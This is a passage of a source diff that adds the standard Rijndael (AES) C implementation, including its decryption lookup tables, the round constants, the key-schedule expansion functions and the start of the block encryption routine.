0xa9c8141eU, + 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, + 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, + 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, + 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, + 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, + 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, + 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, + 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, + 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, + 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, + 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, + 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, + 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, + 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, + 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, + 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, + 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, + 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, + 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, + 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, + 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, + 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, + 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, + 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, + 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, + 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, + 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, + 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, + 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, + 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, + 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, + 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, +}; +static const u32 Td3[256] = { + 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, + 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, + 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, + 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, + 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, + 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, + 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, + 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, + 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, + 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, + 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, + 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, + 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, + 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, + 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, + 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, + 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, + 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, + 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, + 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, + 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, + 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, + 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, + 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, + 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, + 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, + 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, + 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, + 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, + 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, + 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, + 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, + 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, + 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, + 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, + 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, + 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, + 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, + 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, + 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, + 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, + 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, + 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, + 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, + 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, + 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, + 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, + 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, + 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, + 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, + 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, + 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, + 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, + 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, + 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, + 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, + 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, + 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, + 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, + 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, + 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, + 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, + 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, + 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, +}; +static const u32 Td4[256] = { + 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, + 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, + 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, + 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, + 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, + 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, + 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, + 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, + 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, + 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, + 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, + 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, + 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, + 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, + 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, + 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, + 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, + 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, + 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, + 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, + 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, + 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, + 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, + 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, + 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, + 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, + 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, + 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, + 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, + 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, + 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, + 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, + 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, + 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, + 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, + 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, + 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, + 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, + 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, + 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, + 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, + 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, + 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, + 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, + 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, + 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, + 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, + 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, + 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, + 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, + 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, + 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, + 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, + 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, + 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, + 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, + 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, + 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, + 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, + 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, + 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, + 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, + 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, + 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, +}; +static const u32 rcon[] = { + 0x01000000, 0x02000000, 0x04000000, 0x08000000, + 0x10000000, 0x20000000, 0x40000000, 0x80000000, + 0x1B000000, 0x36000000, /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ +}; + +#define GETU32(pt) (((u32)(pt)[0] << 24) ^ ((u32)(pt)[1] << 16) ^ ((u32)(pt)[2] << 8) ^ ((u32)(pt)[3])) +#define PUTU32(ct, st) { (ct)[0] = (u8)((st) >> 24); (ct)[1] = (u8)((st) >> 16); (ct)[2] = (u8)((st) >> 8); (ct)[3] = (u8)(st); } + +/** + * Expand the cipher key into the encryption key schedule. + * + * @return the number of rounds for the given cipher key size. + */ +int +rijndaelKeySetupEnc(u32 rk[/*4*(Nr + 1)*/], const u8 cipherKey[], int keyBits) +{ + int i = 0; + u32 temp; + + rk[0] = GETU32(cipherKey ); + rk[1] = GETU32(cipherKey + 4); + rk[2] = GETU32(cipherKey + 8); + rk[3] = GETU32(cipherKey + 12); + if (keyBits == 128) { + for (;;) { + temp = rk[3]; + rk[4] = rk[0] ^ + (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ + (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(temp ) & 0xff] & 0x0000ff00) ^ + (Te4[(temp >> 24) ] & 0x000000ff) ^ + rcon[i]; + rk[5] = rk[1] ^ rk[4]; + rk[6] = rk[2] ^ rk[5]; + rk[7] = rk[3] ^ rk[6]; + if (++i == 10) { + return 10; + } + rk += 4; + } + } + rk[4] = GETU32(cipherKey + 16); + rk[5] = GETU32(cipherKey + 20); + if (keyBits == 192) { + for (;;) { + temp = rk[ 5]; + rk[ 6] = rk[ 0] ^ + (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ + (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(temp ) & 0xff] & 0x0000ff00) ^ + (Te4[(temp >> 24) ] & 0x000000ff) ^ + rcon[i]; + rk[ 7] = rk[ 1] ^ rk[ 6]; + rk[ 8] = rk[ 2] ^ rk[ 7]; + rk[ 9] = rk[ 3] ^ rk[ 8]; + if (++i == 8) { + return 12; + } + rk[10] = rk[ 4] ^ rk[ 9]; + rk[11] = rk[ 5] ^ rk[10]; + rk += 6; + } + } + rk[6] = GETU32(cipherKey + 24); + rk[7] = GETU32(cipherKey + 28); + if (keyBits == 256) { + for (;;) { + temp = rk[ 7]; + rk[ 8] = rk[ 0] ^ + (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ + (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(temp ) & 0xff] & 0x0000ff00) ^ + (Te4[(temp >> 24) ] & 0x000000ff) ^ + rcon[i]; + rk[ 9] = rk[ 1] ^ rk[ 8]; + rk[10] = rk[ 2] ^ rk[ 9]; + rk[11] = rk[ 3] ^ rk[10]; + if (++i == 7) { + return 14; + } + temp = rk[11]; + rk[12] = rk[ 4] ^ + (Te4[(temp >> 24) ] & 0xff000000) ^ + (Te4[(temp >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(temp >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(temp ) & 0xff] & 0x000000ff); + rk[13] = rk[ 5] ^ rk[12]; + rk[14] = rk[ 6] ^ rk[13]; + rk[15] = rk[ 7] ^ rk[14]; + rk += 8; + } + } + return 0; +} + +/** + * Expand the cipher key into the decryption key schedule. + * + * @return the number of rounds for the given cipher key size. + */ +int +rijndaelKeySetupDec(u32 rk[/*4*(Nr + 1)*/], const u8 cipherKey[], int keyBits) +{ + int Nr, i, j; + u32 temp; + + /* expand the cipher key: */ + Nr = rijndaelKeySetupEnc(rk, cipherKey, keyBits); + + /* invert the order of the round keys: */ + for (i = 0, j = 4*Nr; i < j; i += 4, j -= 4) { + temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp; + temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp; + temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp; + temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp; + } + /* apply the inverse MixColumn transform to all round keys but the first and the last: */ + for (i = 1; i < Nr; i++) { + rk += 4; + rk[0] = + Td0[Te4[(rk[0] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[0] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[0] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[0] ) & 0xff] & 0xff]; + rk[1] = + Td0[Te4[(rk[1] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[1] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[1] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[1] ) & 0xff] & 0xff]; + rk[2] = + Td0[Te4[(rk[2] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[2] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[2] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[2] ) & 0xff] & 0xff]; + rk[3] = + Td0[Te4[(rk[3] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[3] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[3] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[3] ) & 0xff] & 0xff]; + } + return Nr; +} + +void +rijndaelEncrypt(const u32 rk[/*4*(Nr + 1)*/], int Nr, const u8 pt[16], + u8 ct[16]) +{ + u32 s0, s1, s2, s3, t0, t1, t2, t3; +#ifndef FULL_UNROLL + int r; +#endif /* ?FULL_UNROLL */ + + /* + * map byte array block to cipher state + * and add initial round key: + */ + s0 = GETU32(pt ) ^ rk[0]; + s1 = GETU32(pt + 4) ^ rk[1]; + s2 = GETU32(pt + 8) ^ rk[2]; + s3 = GETU32(pt + 12) ^ rk[3]; +#ifdef FULL_UNROLL + /* round 1: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[ 4]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[ 5]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[ 6]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[ 7]; + /* round 2: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[ 8]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[ 9]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[10]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[11]; + /* round 3: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[12]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[13]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[14]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[15]; + /* round 4: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[16]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[17]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[18]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[19]; + /* round 5: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[20]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[21]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[22]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[23]; + /* round 6: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[24]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[25]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[26]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[27]; + /* round 7: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[28]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[29]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[30]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[31]; + /* round 8: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[32]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[33]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[34]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[35]; + /* round 9: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[36]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[37]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[38]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[39]; + if (Nr > 10) { + /* round 10: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[40]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[41]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[42]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[43]; + /* round 11: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[44]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[45]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[46]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[47]; + if (Nr > 12) { + /* round 12: */ + s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[48]; + s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[49]; + s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[50]; + s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[51]; + /* round 13: */ + t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[52]; + t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[53]; + t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[54]; + t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[55]; + } + } + rk += Nr << 2; +#else /* !FULL_UNROLL */ + /* + * Nr - 1 full rounds: + */ + r = Nr >> 1; + for (;;) { + t0 = + Te0[(s0 >> 24) ] ^ + Te1[(s1 >> 16) & 0xff] ^ + Te2[(s2 >> 8) & 0xff] ^ + Te3[(s3 ) & 0xff] ^ + rk[4]; + t1 = + Te0[(s1 >> 24) ] ^ + Te1[(s2 >> 16) & 0xff] ^ + Te2[(s3 >> 8) & 0xff] ^ + Te3[(s0 ) & 0xff] ^ + rk[5]; + t2 = + Te0[(s2 >> 24) ] ^ + Te1[(s3 >> 16) & 0xff] ^ + Te2[(s0 >> 8) & 0xff] ^ + Te3[(s1 ) & 0xff] ^ + rk[6]; + t3 = + Te0[(s3 >> 24) ] ^ + Te1[(s0 >> 16) & 0xff] ^ + Te2[(s1 >> 8) & 0xff] ^ + Te3[(s2 ) & 0xff] 